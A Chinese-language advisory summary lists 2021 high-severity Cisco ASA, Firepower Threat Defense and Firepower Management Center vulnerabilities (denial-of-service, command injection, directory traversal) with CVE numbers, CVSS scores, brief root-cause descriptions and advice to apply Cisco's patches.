在本次修复的高危漏洞中,9个为拒绝服务漏洞,3个为命令注入漏洞,以及1个目录遍历漏洞:

CVE-2021-40116:多个 Cisco 产品 Snort 规则拒绝服务漏洞(CVSS评分:8.6)

CVE-2021-34783:思科自适应安全设备软件和 Firepower 威胁防御软件基于软件的 SSL/TLS 拒绝服务漏洞(CVSS评分:8.6)

CVE-2021-34781:思科 Firepower 威胁防御软件 SSH 连接拒绝服务漏洞(CVSS评分:8.6)

CVE-2021-34752、CVE-2021-34755和CVE-2021-34756:思科 Firepower 威胁防御软件命令注入漏洞(CVSS评分:7.8)

CVE-2021-34762:思科 Firepower 管理中心软件身份验证目录遍历漏洞(CVSS评分:8.1)

CVE-2021-40117:思科自适应安全设备软件和 Firepower 威胁防御软件 SSL/TLS 拒绝服务漏洞(CVSS评分:8.6)

CVE-2021-1573、CVE-2021-34704和CVE-2021-40118:思科自适应安全设备软件和 Firepower 威胁防御软件 Web 服务拒绝服务漏洞(CVSS评分:8.6)

CVE-2021-34792:思科自适应安全设备软件和 Firepower 威胁防御软件资源耗尽拒绝服务漏洞(CVSS评分:8.6)

CVE-2021-34793:思科自适应安全设备软件和 Firepower 威胁防御软件透明模式拒绝服务漏洞(CVSS评分:8.6)

其中,CVE-2021-34755 、CVE-2021-34756和CVE-2021-34752都是Cisco FTD 中的命令注入漏洞。由于对用户提供的命令参数验证不足,攻击者可以提交恶意输入来利用这些漏洞,前2个漏洞可以导致经过身份验证的本地攻击者以root权限在受影响设备的系统上执行任意命令,CVE-2021-34752可以导致经过身份验证且具有管理权限的本地攻击者以root权限在受影响设备的系统上执行任意命令。

CVE-2021-34762是由于思科 Firepower 管理中心 (FMC) 基于Web 的管理界面对HTTPS URL 的输入验证不足,经过身份验证的远程攻击者可以通过向受影响的设备发送包含目录遍历字符序列的恶意 HTTPS 请求来利用此漏洞,最终可以在设备上读取或写入任意文件。

处置建议

目前Cisco已经发布了相关补丁,建议受影响的用户及时升级更新。

具体受影响产品及其版本和修复版本信息详见Cisco官方安全公告:

https://tools.cisco.com/security/center/publicationListing.x


上一篇:渗透中的常用语


下一篇:通用异步 Windows Socket TCP 客户端组件的设计与实现